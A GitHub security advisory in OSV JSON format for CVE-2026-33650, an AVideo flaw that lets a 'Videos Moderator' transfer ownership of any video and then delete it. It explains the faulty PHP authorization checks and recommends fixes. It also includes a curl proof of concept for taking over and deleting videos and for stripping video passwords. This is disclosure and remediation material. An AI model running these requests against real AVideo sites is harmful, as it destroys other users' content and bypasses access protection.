CVE-2026-33650: AVideo Video Moderator Privilege Escalation Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8x77-f38v-4m5j",
  "modified" : "2026-03-25T17:49:32Z",
  "published" : "2026-03-25T17:49:32Z",
  "aliases" : [ "CVE-2026-33650" ],
  "summary" : "AVideo: Video Moderator Privilege Escalation via Ownership Transfer Enables Arbitrary Video Deletion",
  "details" : "## Summary\n\nA user with the \"Videos Moderator\" permission can escalate privileges to perform full video management operations — including ownership transfer and deletion of any video — despite the permission being documented as only allowing video publicity changes (Active, Inactive, Unlisted). The root cause is that `Permissions::canModerateVideos()` is used as an authorization gate for full video editing in `videoAddNew.json.php`, while `videoDelete.json.php` only checks ownership, creating an asymmetric authorization boundary exploitable via a two-step ownership-transfer-then-delete chain.\n\n## Details\n\nThe `PERMISSION_INACTIVATEVIDEOS` (ID 11) permission is described as a limited moderator role in `plugin/Permissions/Permissions.php:213`:\n\n```php\n$permissions[] = new PluginPermissionOption(\n    Permissions::PERMISSION_INACTIVATEVIDEOS, \n    __('Videos Moderator'), \n    __('This is a level below the (Videos Admin), this type of user can change the video publicity (Active, Inactive, Unlisted)'), \n    'Permissions'\n);\n```\n\nHowever, `Permissions::canModerateVideos()` (`Permissions.php:175`) is reused as an authorization gate in multiple locations in `videoAddNew.json.php` that go far beyond status changes:\n\n**1. Upload gate bypass** (`videoAddNew.json.php:10`):\n`User::canUpload()` (`user.php:2650`) returns `true` if `Permissions::canModerateVideos()` is true, granting moderators upload access.\n\n**2. Edit gate bypass** (`videoAddNew.json.php:19`):\n```php\nif (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) {\n    die('{\"error\":\"2 ' . __(\"Permission denied\") . '\"}');\n}\n```\n`Video::canEdit()` correctly checks only `canAdminVideos()` and ownership, but the `|| !Permissions::canModerateVideos()` fallback allows moderators to edit any video.\n\n**3. Ownership transfer** (`videoAddNew.json.php:222`):\n```php\nif ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() || \n    Users_affiliations::isUserAffiliateOrCompanyToEachOther($obj->getUsers_id(), $_POST['users_id'])) {\n    $obj->setUsers_id($_POST['users_id']);\n}\n```\n`userCanChangeVideoOwner` defaults to `false` (`CustomizeUser.php:286`), but `canModerateVideos()` provides an unconditional bypass, allowing any moderator to reassign ownership of any video.\n\n**4. Delete via ownership** (`videoDelete.json.php:22-28`):\n```php\nif(empty($video->getUsers_id()) || $video->getUsers_id() != User::getId()){\n    if (!$video->userCanManageVideo()) {\n        // denied\n    }\n}\n$id = $video->delete();\n```\n`userCanManageVideo()` (`video.php:3614`) checks `canAdminVideos()` (not `canModerateVideos()`), then falls back to ownership. After the ownership transfer in step 3, the moderator is now the owner, so this check passes.\n\nThe authorization asymmetry: `videoAddNew.json.php` treats `canModerateVideos()` as equivalent to `canAdminVideos()`, but `videoDelete.json.php` and `userCanManageVideo()` do not — creating a gap exploitable by transferring ownership first.\n\nAdditional fields a moderator can modify beyond their intended scope:\n- `only_for_paid` (line 210) — make premium content free\n- `video_password` (line 211) — change/remove password protection\n- `categories_id` (line 168) — alter content categorization\n- `videoGroups` (line 175) — modify user group visibility\n\n## PoC\n\n**Prerequisites:** An account with the \"Videos Moderator\" permission (PERMISSION_INACTIVATEVIDEOS = 11) and a target video ID owned by another user.\n\n**Step 1: Transfer ownership of target video to attacker**\n\n```bash\n# ATTACKER_USER_ID = moderator's user ID\n# TARGET_VIDEO_ID = ID of video owned by another user (e.g., admin)\ncurl -s -b cookies.txt -X POST \\\n  'http://localhost/objects/videoAddNew.json.php' \\\n  -d \"id=TARGET_VIDEO_ID&users_id=ATTACKER_USER_ID&title=unchanged\"\n```\n\nExpected response: `{\"status\":true, ...}` — ownership is now transferred to the attacker.\n\n**Step 2: Delete the video (now owned by attacker)**\n\n```bash\ncurl -s -b cookies.txt -X POST \\\n  'http://localhost/objects/videoDelete.json.php' \\\n  -d \"id[]=TARGET_VIDEO_ID\"\n```\n\nExpected response: `{\"error\":false, ...}` — video is deleted. The owner check at line 22 passes because the moderator is now the recorded owner.\n\n**Step 3 (additional impact): Access password-protected video**\n\n```bash\ncurl -s -b cookies.txt -X POST \\\n  'http://localhost/objects/videoAddNew.json.php' \\\n  -d \"id=TARGET_VIDEO_ID&video_password=&title=unchanged\"\n```\n\nThis removes the video password, granting the moderator (and everyone) access to previously protected content.\n\n## Impact\n\n- **Arbitrary video deletion**: A Videos Moderator can delete any video on the platform, including admin-owned content, by first transferring ownership to themselves then deleting.\n- **Content tampering**: Moderator can change paid content flags (`only_for_paid`), video passwords, categories, and user group visibility on any video — all exceeding the documented scope of \"change video publicity.\"\n- **Access control bypass**: Password-protected videos can have their passwords removed, exposing restricted content.\n- **Integrity loss**: Video ownership records are corrupted, making audit trails unreliable.\n- **Availability impact**: Targeted deletion of high-value content with no authorization check appropriate to the destructive action.\n\nThe blast radius is any video on the platform. Any user granted the \"Videos Moderator\" role — which administrators may grant freely assuming it only allows status changes — gains effective full video management capabilities.\n\n## Recommended Fix\n\nReplace `Permissions::canModerateVideos()` with `Permissions::canAdminVideos()` in `videoAddNew.json.php` where full edit capabilities are granted. Keep `canModerateVideos()` only for the specific status/publicity change operations it was designed for.\n\n**Fix for ownership transfer** (`videoAddNew.json.php:222`):\n```php\n// Before (vulnerable):\nif ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() || ...\n\n// After (fixed):\nif ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canAdminVideos() || ...\n```\n\n**Fix for edit gate** (`videoAddNew.json.php:19`):\n```php\n// Before (vulnerable):\nif (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) {\n\n// After (fixed): \nif (!Video::canEdit($_POST['id']) && !Permissions::canAdminVideos()) {\n```\n\nThen create a separate, narrower code path for moderators that only allows changing video status/publicity fields. Alternatively, refactor `videoAddNew.json.php` to check `canModerateVideos()` only around the specific status-change logic (lines 238-248) and require `canAdminVideos()` for all other fields.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-8x77-f38v-4m5j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33650"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/838e16818c793779406ecbf34ebaeba9830e33f8"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-25T17:49:32Z",
    "nvd_published_at" : "2026-03-23T19:16:41Z"
  }
}